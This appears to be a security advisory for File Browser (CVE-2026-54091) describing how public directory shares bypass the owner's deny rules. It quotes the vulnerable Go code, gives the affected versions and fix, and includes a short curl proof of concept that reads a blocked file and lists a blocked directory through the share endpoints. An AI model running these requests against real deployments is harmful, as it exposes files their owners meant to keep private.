Skip to content

GHSA-j9jx-hp4c-ghhh CVE-2026-54091 GO-2026-5458

File Browser has incorrect access control for public directory shares via rule path rebasing

High Go
Severity
7.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.52%
Chance of exploitation in the next 30 days. Higher than 43.93% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-863 Incorrect Authorization
Fix
2.63.6
Upgrade github.com/filebrowser/filebrowser/v2 to this version or later

Description

Summary

File Browser's public share handlers rebase the share owner's filesystem root to the shared directory and then evaluate descendant paths against the owner's global and per-user rules using the rebased relative path instead of the original path relative to the owner's scope.

As a result, an attacker who knows a public directory share URL can access files and subdirectories that the owner explicitly blocked with rules, as long as those blocked paths are located underneath the shared directory. In the simplest case this is an unauthenticated information disclosure through GET /api/public/share/* and GET /api/public/dl/*.

Details

The public share flow first resolves the original shared path under the owner's filesystem, but then switches d.user.Fs to a new BasePathFs rooted at the shared directory. The follow-up authorization check is still performed by d.Check, which compares the request path to rule strings using prefix matching.

When the share target is a directory, the path passed to d.Check becomes relative to the shared directory, while the rules remain relative to the owner's original scope. A deny rule such as /projects/private therefore no longer matches a public share request for /private/secret.txt, even though the rebased filesystem resolves that request to the real path /projects/private/secret.txt.

Core vulnerable code path:

// http/public.go
if file.IsDir {
    basePath = filepath.Clean(link.Path)
    filePath = ifPath
}

d.user.Fs = afero.NewBasePathFs(d.user.Fs, basePath)

file, err = files.NewFileInfo(&files.FileOptions{
    Fs:      d.user.Fs,
    Path:    filePath,
    Expand:  true,
    Checker: d,
})
// http/data.go and rules/rules.go
func (d *data) Check(path string) bool {
    allow := true
    for _, rule := range d.settings.Rules {
        if rule.Matches(path) {
            allow = rule.Allow
        }
    }
    for _, rule := range d.user.Rules {
        if rule.Matches(path) {
            allow = rule.Allow
        }
    }
    return allow
}

func (r *Rule) Matches(path string) bool {
    if path == r.Path {
        return true
    }
    prefix := r.Path
    if prefix != "/" && !strings.HasSuffix(prefix, "/") {
        prefix += "/"
    }
    return strings.HasPrefix(path, prefix)
}

The issue is reachable from the public endpoints registered in http/http.go for /api/public/share/* and /api/public/dl/*.

PoC

The attacker only needs a directory share URL. No authenticated session is required if the share is not password protected.

Reproduction flow:

  1. Prepare a directory owned by a normal user, for example /projects/.
  2. Inside it, create a sensitive child path such as /projects/private/secret.txt.
  3. Configure a deny rule for the share owner that blocks /projects/private.
  4. Have the owner create a public share for /projects/.
  5. Request the blocked child path through the public share endpoints.

PoC:

# owner creates a public share for /projects/
curl -s -X POST 'http://HOST/api/share/projects/' \
  -H 'X-Auth: <OWNER_JWT>' \
  -H 'Content-Type: application/json' \
  -d '{}'

The response contains a share hash such as:

{"hash":"<HASH>","path":"/projects/","userID":2,"expire":0}

The attacker can then access a rule-blocked file below the shared directory:

curl -i 'http://HOST/api/public/dl/<HASH>/private/secret.txt'

A blocked subdirectory can also be listed directly:

curl -i 'http://HOST/api/public/share/<HASH>/private/'

the server returns 200 OK and serves the file content or directory listing, even though the share owner's rules should have made that path inaccessible.

Impact

This flaw allows public share recipients to read files and browse directories that the share owner explicitly intended to block with File Browser rules. Because the vulnerable path is the public share feature, the exposure can be unauthenticated and internet-reachable whenever a share link is exposed.

In practical deployments, this can disclose secrets, configuration files, backup material, private project directories, or any other content that administrators or users attempted to hide beneath a shared parent directory using the built-in rule system.

Affected versions

Go

PackageVulnerableFixed in
github.com/filebrowser/filebrowser
all versions
No fix yet
github.com/filebrowser/filebrowser/v2
< 2.63.6
2.63.6

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/filebrowser/filebrowser/v2 Go → 2.63.6

go
go get github.com/filebrowser/filebrowser/v2@v2.63.6 && go mod tidy

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Weakness

CWE-863: Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-833g-cqhp-h72j
File Browser: Share API exposes the password hash and bypass token
Low Also affects github.com/filebrowser/filebrowser
GHSA-83xp-526h-j3ww
File Browser: Archive builder turns backslash filenames into path traversal (zip-slip)
Medium Also affects github.com/filebrowser/filebrowser
GHSA-7rc3-g7h6-22m7
File Browser: Colliding username normalization gives two users the same home directory
High Also affects github.com/filebrowser/filebrowser
GHSA-8wc8-hf36-mjh9
File Browser: ScopedFs follows a dangling symlink on write, letting a scoped user create files outside their scope
Medium Also affects github.com/filebrowser/filebrowser
GHSA-fmm7-x4gx-8jhr
File Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup
High Also affects github.com/filebrowser/filebrowser
GHSA-xqp3-jq6g-x3qm
File Browser: Authentication Bypass via Proxy Auth Header Forgery
Critical Also affects github.com/filebrowser/filebrowser
GHSA-m93h-4hw7-5qcm
File Browser: Command Injection via Authentication Hook Shell Substitution (Pre-Authentication RCE)
Critical Also affects github.com/filebrowser/filebrowser
GHSA-8c9q-7855-wfxq
File Browser has a Command Execution Allowlist Bypass via Shell Metacharacter Injection
High Also affects github.com/filebrowser/filebrowser
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor